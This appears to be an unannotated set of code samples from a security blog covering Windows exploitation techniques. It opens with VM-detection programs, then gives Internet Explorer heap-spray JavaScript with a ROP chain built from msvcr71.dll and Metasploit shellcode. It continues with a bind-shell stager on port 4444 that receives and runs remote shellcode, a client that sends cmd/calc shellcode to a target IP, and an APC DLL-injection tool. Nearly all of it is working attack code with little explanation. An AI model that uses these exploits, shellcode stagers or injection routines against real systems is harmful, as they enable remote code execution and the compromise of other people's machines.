        printf("Inside VMware\n");
    }
    else
        printf("Native OS\n");
}
 
int main(void)
{
    LDTDetect();
    GDTDetect();
    return 0;
}

#include <stdio.h>
int main(void)
{
    unsigned char mem[4] = {0};
    int i;
 
    __asm str mem;
    printf (" STR base: 0x");
    for (i=0; i<4; i++)
    {
        printf("%02x",mem[i]);
    }
 
    if ( (mem[0]==0x00) && (mem[1]==0x40))
        printf("\n INSIDE MATRIX!!\n");
    else
        printf("\n Native OS!!\n");
    return 0;
}

.386
.model flat, stdcall
option casemap:none
 
   include  windows.inc
   include  user32.inc
   include  kernel32.inc
   include  advapi32.inc
 
   includelib  user32.lib
   includelib  kernel32.lib
   includelib  advapi32.lib
 
.data
szCaption     db "VMware Detector ",0
szInside         db "Inside VMware!",0
szOutside              db "Native OS!",0
szSubKey      db "software\VMWare, Inc.\VMware tools",0
hKey              dd    ?
 
.code
start:
  invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, addr szSubKey, 0,\
                 KEY_WRITE or KEY_READ, addr hKey
  .if eax == ERROR_SUCCESS
  invoke MessageBox, NULL,addr szInside, addr szCaption, MB_OK
  .else
  invoke MessageBox, NULL,addr szOutside, addr szCaption, MB_OK
  .endif
  invoke RegCloseKey,hKey
  invoke ExitProcess,NULL
end start

.586p
.model flat, stdcall
option casemap:none
 
include			windows.inc
include 			kernel32.inc
include			user32.inc
 
includelib		kernel32.lib
includelib		user32.lib
 
 
.data
szTitle			db	"VMDetect With RDTSC", 0h
szInsideVM		db	"Inside VMware!", 0h
szOutsideVM		db	"Native OS!", 0h
 
.code
 
start:
	RDTSC
	xchg 		ecx, eax
	RDTSC	
	sub		eax, ecx
	cmp		eax, 0FFh
	jg		Detected
 
	invoke	MessageBox, 0, offset szOutsideVM, offset szTitle, 0
	ret
 
Detected:
	invoke 	MessageBox, 0, offset szInsideVM, offset szTitle, 0
	ret
end start

<SCRIPT language="JavaScript"> 
    var calc, chunk_size, headersize, nopsled, nopsled_len;
    var heap_chunks, i;
    calc = unescape("%qcccc%qcccc");
    chunk_size = 0x40000;
    headersize = 0x24;
    nopsled = unescape("%q0c0c%q0c0c");
    nopsled_len = chunk_size - (headersize + calc.length);
    while (nopsled.length < nopsled_len)
        nopsled += nopsled;
    nopsled = nopsled.substring(0, nopsled_len);
    heap_chunks = new Array();
    for (i = 0 ; i < 1000 ; i++)
        heap_chunks[i] = nopsled + calc;
</SCRIPT>

code = nopsled + calc;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
   heap_chunks[i] = code.substring(0, code.length);

for (i = 0 ; i < 1000 ; i++)
{    
   codewithnum = i + code;
   heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}

nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]

<SCRIPT language="JavaScript"> 
    function padnum(n, numdigits)
    {
        n = n.toString();
        var pnum = '';
        if (numdigits > n.length)
        {
            for (z = 0; z < (numdigits - n.length); z++)
            pnum += '0';
        }
        return pnum + n.toString();
    }
    var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code;
    var heap_chunks, i, codewithnum;
    //        
    // !mona rop -m msvcr71.dll
    // * changed from default mona rop chain output
    //
    rop = unescape(
    "%q2e4d%q7c36" +   //  0x7c362e4d, # POP EBP # RETN
    "%q2e4d%q7c36" +   //  0x7c362e4d, # skip 4 bytes
    "%qf053%q7c34" +   //  0x7c34f053, # POP EBX # RETN
    "%q00c8%q0000" +   //  0x000000c8, # 0x000000c8-> ebx (size 200 bytes) *
    "%q4364%q7c34" +   //  0x7c344364, # POP EDX # RETN
    "%q0040%q0000" +   //  0x00000040, # 0x00000040-> edx
    "%qf62d%q7c34" +   //  0x7c34f62d, # POP ECX # RETN
    "%qe945%q7c38" +   //  0x7c38e945, # &Writable location
    "%q496e%q7c36" +   //  0x7c36496e, # POP EDI # RETN
    "%q6c0b%q7c34" +   //  0x7c346c0b, # RETN (ROP NOP)
    "%q2adb%q7c37" +   //  0x7c372adb, # POP ESI # RETN
    "%q15a2%q7c34" +   //  0x7c3415a2, # JMP [EAX]
    "%q4edc%q7c34" +   //  0x7c344edc, # POP EAX # RETN
    "%qa151%q7c37" +   //  0x7c37a151, # ptr to &VirtualProtect() - 0x0EF  *
    "%q8c81%q7c37" +   //  0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
    "%q5c30%q7c34");   //  0x7c345c30, # ptr to 'push esp #  ret '
    //
    // ruby msfpayload windows/exec cmd=calc.exe J
    // windows/exec - 200 bytes
    // http://www.metasploit.com
    // VERBOSE=false, EXITFUNC=process, CMD=calc.exe
    //
    calc = unescape(
    "%qe8fc%q0089%q0000%q8960%q31e5%q64d2%q528b%q8b30" +
    "%q0c52%q528b%q8b14%q2872%qb70f%q264a%qff31%qc031" +
    "%q3cac%q7c61%q2c02%qc120%q0dcf%qc701%qf0e2%q5752" +
    "%q528b%q8b10%q3c42%qd001%q408b%q8578%q74c0%q014a" +
    "%q50d0%q488b%q8b18%q2058%qd301%q3ce3%q8b49%q8b34" +
    "%qd601%qff31%qc031%qc1ac%q0dcf%qc701%qe038%qf475" +
    "%q7d03%q3bf8%q247d%qe275%q8b58%q2458%qd301%q8b66" +
    "%q4b0c%q588b%q011c%q8bd3%q8b04%qd001%q4489%q2424" +
    "%q5b5b%q5961%q515a%qe0ff%q5f58%q8b5a%qeb12%q5d86" +
    "%q016a%q858d%q00b9%q0000%q6850%q8b31%q876f%qd5ff" +
    "%qf0bb%qa2b5%q6856%q95a6%q9dbd%qd5ff%q063c%q0a7c" +
    "%qfb80%q75e0%qbb05%q1347%q6f72%q006a%qff53%q63d5" +
    "%q6c61%q2e63%q7865%q0065");
    //
    chunk_size = 0x40000;
    headersize = 0x24;
    nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]
    nopsled_len = chunk_size - (headersize + rop.length + calc.length);
    while (nopsled.length < nopsled_len)
        nopsled += nopsled;
    nopsled = nopsled.substring(0, nopsled_len);
    code = nopsled + rop + calc;                             
    heap_chunks = new Array();
    for (i = 0 ; i < 1000 ; i++)
    {
        codewithnum = padnum(i,4) + code;
        heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
    }
</SCRIPT>

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <title>Exploit Demo</title>
        <script type="text/javascript">
            window.attachEvent("onload", function() {
                var detector = document.getElementById("detector");
                detector.attachEvent("onmousemove", function (e) {
                    detector.innerHTML = e.screenX + ", " + e.screenY;
                });
                setInterval(function () {
                    detector.fireEvent("onmousemove");
                }, 100);
            });
        </script>
    </head>
    <body>
        <div id="detector"></div>
    </body>
</html>

<HTML>
    <HEAD>
        <SCRIPT>
            function fnFireEvents() {
                div.innerText = "The cursor has moved over me!";
                btn.fireEvent("onclick");
            }
        </SCRIPT>
    </HEAD>
    <BODY>
        <h1>Using the fireEvent method</h1>
        By moving the cursor over the DIV below, the button is clicked.
        <DIV ID="div" onmouseover="fnFireEvents();">
            Mouse over this!
        </DIV>
        <BUTTON ID="btn" ONCLICK="this.innerText='I have been clicked!'">Button</BUTTON>
    </BODY>
</HTML>

;=========================================================
; start
;=========================================================
start:
    cld
    call    kMainFun        ; 主要逻辑代码函数
;=========================================================
; 函数调用包装函数
; 传入参数为待调用函数的参数以及函数名HASH值
;=========================================================
;fnFunctionCaller proc
	assume fs:nothing
    pusha                   ; 保存所有寄存器
    mov     ebp, esp        ; 建立新栈帧
    xor     edx, edx        ; EDX寄存器清零操作
    mov     edx, fs:[edx+30h] ; PEB
    mov     edx, [edx+0Ch]  ; PEB_LDR_DATA
    mov     edx, [edx+14h]  ; InMemoryOrderModuleList
 
loc_15:
    mov     esi, [edx+28h]  ; BaseDllName(DLL名字)
    movzx   ecx, word ptr [edx+26h] ; (DllName长度+1)*2 即(UNICODE_STRING的长度字段)
    xor     edi, edi        ; EDI寄存器清零
 
    ; ==== 计算DLL名字HASH值 ====
loc_1E:
    xor     eax, eax        ; EAX寄存器清零
    lodsb                   ; 取DllName第一个字符
    cmp     al, 61h ; 'a'
    jl      short loc_27    ; 小于'a'时跳转
    sub     al, 20h ; ' '   ; 转大写字母
 
loc_27:
    ror     edi, 0Dh        ; 移位
    add     edi, eax        ; 累加
    loop    loc_1E          ; 循环计算DllName哈希值
 
    push    edx
    push    edi
    mov     edx, [edx+10h]  ; DllBase Dll基地址
    mov     eax, [edx+3Ch]  ; 开始解析PE文件格式
    add     eax, edx
    mov     eax, [eax+78h]  ; 数据目录表输出表结构
    test    eax, eax
    jz      short loc_89    ; 没有输出表, 跳转到返回
    add     eax, edx
    push    eax
    mov     ecx, [eax+18h]  ; 总的导出函数个数
    mov     ebx, [eax+20h]
    add     ebx, edx
 
loc_4A:
    jecxz   short loc_88
    dec     ecx
    mov     esi, [ebx+ecx*4] ; 函数名字
    add     esi, edx
    xor     edi, edi
 
    ; ==== 计算函数名字HASH值 ====
loc_54:
    xor     eax, eax
    lodsb
    ror     edi, 0Dh
    add     edi, eax
    cmp     al, ah
    jnz     short loc_54    ; 循环计算函数名HASH值
    add     edi, [ebp-8]    ; ==== Hash1(DllName) + Hash2(ApiName) ====
    cmp     edi, [ebp+24h]  ; 判断HASH值是否和传入的参数一致
    jnz     short loc_4A    ; 不相等继续寻找
    pop     eax
    mov     ebx, [eax+24h]
    add     ebx, edx
    mov     cx, [ebx+ecx*2]
    mov     ebx, [eax+1Ch]
    add     ebx, edx
    mov     eax, [ebx+ecx*4]
    add     eax, edx
    mov     [esp+28h-4], eax ; 保存函数的地址
    pop     ebx
    pop     ebx
    popa                    ; 对应pusha
    pop     ecx             ; 弹出上一个函数返回地址到ECX
    pop     edx             ; 弹出函数名HASH值参数
    push    ecx             ; 压入上一个函数的返回地址
    jmp     eax             ; 调用函数(刚好对应上一个函数传入的第参数)
 
loc_88:
    pop     eax
 
loc_89:
    pop     edi
    pop     edx
    mov     edx, [edx]
    jmp     short loc_15    ; 继续下一个DLL查找
;fnFunctionCaller endp
;=========================================================
    end start

;=========================================================
;kMainFun函数
;=========================================================
kMainFun proc
    pop     ebp         ; EBP = fnFunctionCaller
    push    '23'
    push    '_2sw'      ; ws2_32
    push    esp
    push    726774Ch    ; LoadLibrary的HASH值
    call    ebp         ; 调用LoadLibrary加载ws2_32.dll
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;=========================================================
;kMainFun函数
;=========================================================
kMainFun proc
    pop     ebp         ; EBP = fnFunctionCaller
    push    '23'
    push    '_2sw'      ; ws2_32
    push    esp
    push    726774Ch    ; LoadLibrary的HASH值
    call    ebp         ; 调用LoadLibrary加载ws2_32.dll
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov     eax, 190h
    sub     esp, eax    ; 分配栈空间
    push    esp
    push    eax
    push    6B8029h
    call    ebp         ; 调用WSAStartup 进行socket初始化
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    eax
    push    eax
    push    eax
    push    eax
    inc     eax
    push    eax
    inc     eax
    push    eax
    push    0E0DF0FEAh
    call    ebp         ; 调用WSASocketA创建一个socket
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov     edi, eax
    xor     ebx, ebx
    push    ebx
    push    5C110002h   ; 0002-AF_INET  5C11-4444端口
    mov     esi, esp
    push    10h
    push    esi
    push    edi
    push    6737DBC2h
    call    ebp         ; 调用bind函数在4444端口进行绑定
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; 分配栈空间保留相关变量
    mov     ecx, 100h
loc_alloc_stack_mem:
    push    0h
    loop    loc_alloc_stack_mem
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    ebx
    push    edi
    push    0FF38E9B7h
    call    ebp         ; 调用listen开始监听
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
loc_wait_connect:
    push    ebx         ; 保存ebx
    push    edi         ; 保存edi
 
    push    ebx
    push    ebx
    push    edi
    push    0E13BEC74h
    call    ebp         ; 调用accept等待客户端的连接请求
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov [esp+50h], eax  ; [变量]保存客户端socket
 
loc_wait_shellcode:
    ; 分配堆空间
    push    40h         ; PAGE_EXECUTE_READWRITE
    push    1000h       ; MEM_COMMIT
    push    19000h      ; 100KB
    push    0h          ; lpAddress
    push    0E553A458h
    call    ebp         ; VirtualAlloc
    mov     [esp+54h], eax  ; [变量]保存hMem
    ; 接收ShellCode内容
    push    0           ; flags
    push    18FFFh      ; len
    push    [esp+54h+8h]; buf
    push    [esp+50h+0Ch]; socket
    push    5FC8D902h
    call    ebp         ; recv 接收shellcode内容
    ; 判断是否出错
    cmp     eax, 0FFFFFFFFh ; 返回-1表示出错了
    jz      loc_over
    cmp     eax, 0h
    jnz     loc_run_shellcode   ; 接收到了数据
    ; 没有接收到任何数据，视为出错了
    ; 先回收空间
    push    4000h       ; MEM_DECOMMIT
    push    19000h      ; 100KB
    push    [esp+54h+8h]; buf
    push    300F2F0Bh
    call    ebp         ; 调用VirtualFree
    jmp      loc_over
    ; 创建新线程
loc_run_shellcode:
    push    0h          ; lpThreadId = NULL
    push    0h          ; dwCreationFlags = 立即执行
    push    0h          ; lpParameter = NULL
    push    [esp+54h+0Ch]; lpStartAddress = buffer
    push    0h          ; dwStackSize = 0
    push    0h          ; lpThreadAttributes = NULL
    push    0160D6838h   
    call    ebp         ; 调用CreateThread执行ShellCode
    mov     [esp+58h], eax; [变量]保存hThread
    ; 等待线程结束
    push    0FFFFFFFFh  ; INFINITE
    push    [esp+58h+4h]; hThread
    push    601D8708h   
    call    ebp         ; WaitForSingleObject
    ; 回收空间
    push    4000h       ; MEM_DECOMMIT
    push    19000h      ; 100KB
    push    [esp+54h+8h]; buf
    push    300F2F0Bh
    call    ebp         ; 调用VirtualFree
    ; 等待下一个发送内容
    jmp     loc_wait_shellcode  ; 等待下一段ShellCode
 
loc_over:               ; 准备下一轮连接
    pop     edi         ; 恢复edi
    pop     ebx         ; 恢复ebx
    jmp     loc_wait_connect    ; 等待下一个连接
 
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    0
    push    6F721347h
    call    ebp         ; 调用ExitProcess退出进程
kMainFun endp

#include <stdio.h>
#include <windows.h>
 
#pragma comment(linker, "/subsystem:windows")
 
unsigned char kshell[] =
"\xFC\xE8\x89\x00\x00\x00\x60\x8B\xEC\x33\xD2\x64"
"\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28"
"\x0F\xB7\x4A\x26\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0\x52\x57"
"\x8B\x52\x10\x8B\x42\x3C\x03\xC2\x8B\x40\x78\x85"
"\xC0\x74\x4A\x03\xC2\x50\x8B\x48\x18\x8B\x58\x20"
"\x03\xDA\xE3\x3C\x49\x8B\x34\x8B\x03\xF2\x33\xFF"
"\x33\xC0\xAC\xC1\xCF\x0D\x03\xF8\x38\xE0\x75\xF4"
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24"
"\x03\xDA\x66\x8B\x0C\x4B\x8B\x58\x1C\x03\xDA\x8B"
"\x04\x8B\x03\xC2\x89\x44\x24\x24\x5B\x5B\x61\x59"
"\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86"
"\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54"
"\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x2B\xE0\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50"
"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0"
"\xFF\xD5\x8B\xF8\x33\xDB\x53\x68\x02\x00\x11\x5C"
"\x8B\xF4\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF"
"\xD5\xB9\x00\x01\x00\x00\x6A\x00\xE2\xFC\x53\x57"
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x57\x53\x53\x57"
"\x68\x74\xEC\x3B\xE1\xFF\xD5\x89\x44\x24\x50\x6A"
"\x40\x68\x00\x10\x00\x00\x68\x00\x90\x01\x00\x6A"
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\x44\x24\x54"
"\x6A\x00\x68\xFF\x8F\x01\x00\xFF\x74\x24\x5C\xFF"
"\x74\x24\x5C\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8"
"\xFF\x74\x5C\x83\xF8\x00\x75\x17\x68\x00\x40\x00"
"\x00\x68\x00\x90\x01\x00\xFF\x74\x24\x5C\x68\x0B"
"\x2F\x0F\x30\xFF\xD5\xEB\x40\x6A\x00\x6A\x00\x6A"
"\x00\xFF\x74\x24\x60\x6A\x00\x6A\x00\x68\x38\x68"
"\x0D\x16\xFF\xD5\x89\x44\x24\x58\x6A\xFF\xFF\x74"
"\x24\x5C\x68\x08\x87\x1D\x60\xFF\xD5\x68\x00\x40"
"\x00\x00\x68\x00\x90\x01\x00\xFF\x74\x24\x5C\x68"
"\x0B\x2F\x0F\x30\xFF\xD5\xE9\x70\xFF\xFF\xFF\x5F"
"\x5B\xE9\x59\xFF\xFF\xFF";
 
int WINAPI WinMain(
    HINSTANCE hInstance, 
    HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, 
    int nShowCmd )
{
    DWORD dwTemp = 0;
    VirtualProtect(
        kshell, 
        sizeof(kshell), 
        PAGE_EXECUTE_READWRITE, 
        &dwTemp);
 
    __asm
    {
        lea eax, kshell
        push eax
        ret
    }
 
    return 0;
}

#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "ws2_32")
 
#pragma comment(linker, "/subsystem:console")
 
// 因为通过创建新线程执行Shellcode
// 所以Shellcode的退出方式最好是退出线程
// 以保证还可以继续接收和执行其他shellcode
unsigned char shellcode_calc[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
"\x2e\x65\x78\x65\x00";
 
unsigned char shellcode_cmd[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"
"\x65\x78\x65\x00";
 
int main(int argc, char **argv)
{
    WSADATA wsad;
    SOCKET sHost;
    SOCKADDR_IN servAddr;
    int retVal;
 
    if (WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
    {
        printf("初始化套接字失败!\n");
        return -1;
    }
 
    sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    
    if(INVALID_SOCKET == sHost)
    {
        printf("创建套接字失败!\n");
        WSACleanup();
        return  -1;
    }
 
    char szip[64] = {0};
    printf("请输入被控端IP地址：");
    scanf("%s", szip);
    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(szip);
    servAddr.sin_port = htons(4444);
    int nServAddlen = sizeof(servAddr);
 
    retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr));    
    if(SOCKET_ERROR == retVal)
    {
        printf("连接服务器失败!\n");    
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
 
    //向服务器发送数据
    printf("\n准备发送弹出计算器的Shellcode\n");
    retVal = send(sHost, (char *)shellcode_calc, sizeof(shellcode_calc), 0);
    if (SOCKET_ERROR == retVal)
    {
        printf("发送弹出计算器的Shellcode失败!\n");
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
    printf("按Enter发送下一段Shellcode\n");
    system("pause");
 
    //向服务器发送数据
    printf("\n准备发送弹出CMD的Shellcode\n");
    retVal = send(sHost, (char *)shellcode_cmd, sizeof(shellcode_calc), 0);
    if (SOCKET_ERROR == retVal)
    {
        printf("发送弹出计算器的Shellcode失败!\n");
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
 
    printf("测试完毕，准备退出！\n");
    system("pause");
 
    closesocket(sHost);
    WSACleanup();
 
    return 0;
}

.text:00401333 loc_401333:                             ;
.text:00401333                 xor     ecx, ecx
.text:00401335
.text:00401335 loc_401335:                             ;
.text:00401335                 mov     dl, byte_403078[ecx]
.text:0040133B                 mov     al, cl
.text:0040133D                 mov     bl, 2Bh
.text:0040133F                 imul    bl
.text:00401341                 add     dl, 80h
.text:00401344                 add     al, 4
.text:00401346                 xor     dl, al
.text:00401348                 mov     byte_403988[ecx], dl
.text:0040134E                 inc     ecx
.text:0040134F                 cmp     ecx, 5A9h
.text:00401355                 jl      short loc_401335
 
.text:00401357                 movsx   eax, byte_40303A
.text:0040135E                 movsx   edx, byte_40302C
.text:00401365                 push    offset byte_403988
.text:0040136A                 mov     byte_403988[ecx], 0
.text:00401371                 movsx   ecx, byte_403026
.text:00401378                 push    eax             ; y
.text:00401379                 push    ecx             ; e
.text:0040137A                 push    edx             ; k
.text:0040137B                 push    offset aCCCS    ; "%c%c%c:%s"
.text:00401380                 call    ds:printf

#include <iostream>
using namespace std;
 
int main(int argc, char **argv)
{
	const int size = 0x5A9;
	unsigned char src[size] = { 0 };
	unsigned char dst[size] = { 0 };
 
	FILE *fp = fopen("data.bin", "rb");
	fread(src, size, 1, fp);
	fclose(fp);
 
	__asm
	{
		xor     ecx, ecx
doDecrypt :
		mov     dl, src[ecx]
		mov     al, cl
		mov     bl, 2Bh
		imul    bl
		add     dl, 80h
		add     al, 4
		xor     dl, al
		mov     dst[ecx], dl
		inc     ecx
		cmp     ecx, 5A9h
		jl      short doDecrypt
	}
 
	printf("%s\n", dst);
 
	return 0;
}

// ApcInjection.cpp
// Author: 代码疯子
// Blog: http://www.programlife.net/
#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string.h>
 
#define CHECK_NULL_RET(bCondition) if (!bCondition) goto Exit0
 
BOOL EnableDebugPrivilege(void)
{
	HANDLE hToken; 
	TOKEN_PRIVILEGES tkp;
	BOOL bRet = FALSE;
 
	bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	CHECK_NULL_RET(bRet);
 
	bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
	CHECK_NULL_RET(bRet);
	tkp.PrivilegeCount = 1;  
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	CHECK_NULL_RET(bRet);
	bRet = TRUE;
 
Exit0:
	CloseHandle(hToken);
	return bRet;
}
 
BOOL ApcInject(DWORD dwPid, CHAR *pszDllPath)
{
	HANDLE hProcess = NULL;
	BOOL bRet = FALSE;
	HANDLE hSnapshot = NULL;
	LPVOID lpDllName = NULL;
	DWORD dwResult = 0;
	THREADENTRY32 te32;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	lpDllName = VirtualAllocEx(hProcess, NULL, strlen(pszDllPath) + 1, 
		MEM_COMMIT, PAGE_READWRITE);
	CHECK_NULL_RET(lpDllName);
 
	bRet = WriteProcessMemory(hProcess, lpDllName, (LPVOID)pszDllPath, 
		strlen(pszDllPath) + 1, &dwResult);
 
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid);
	CHECK_NULL_RET((hSnapshot != INVALID_HANDLE_VALUE));
 
	te32.dwSize = sizeof(THREADENTRY32);
	bRet = Thread32First(hSnapshot, &te32);
	while (bRet)
	{
		if (te32.th32OwnerProcessID == dwPid)
		{
			HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
			if (hThread)
			{
				dwResult = QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpDllName);
				CloseHandle(hThread);
			}
		}
		te32.dwSize = sizeof(THREADENTRY32);
		bRet = Thread32Next(hSnapshot, &te32);
	}
 
Exit0:
	// VirtualFreeEx
	CloseHandle(hSnapshot);
	CloseHandle(hProcess);
 
	// Do NOT check this value
	return bRet;
}
 
int main(int argc, char **argv)
{
	if (argc != 3)
	{
		printf("Usage: %s PID DllPath\n", argv[0]);
		return 1;
	}
 
	ApcInject(atoi(argv[1]), argv[2]);
 
	return 0;
}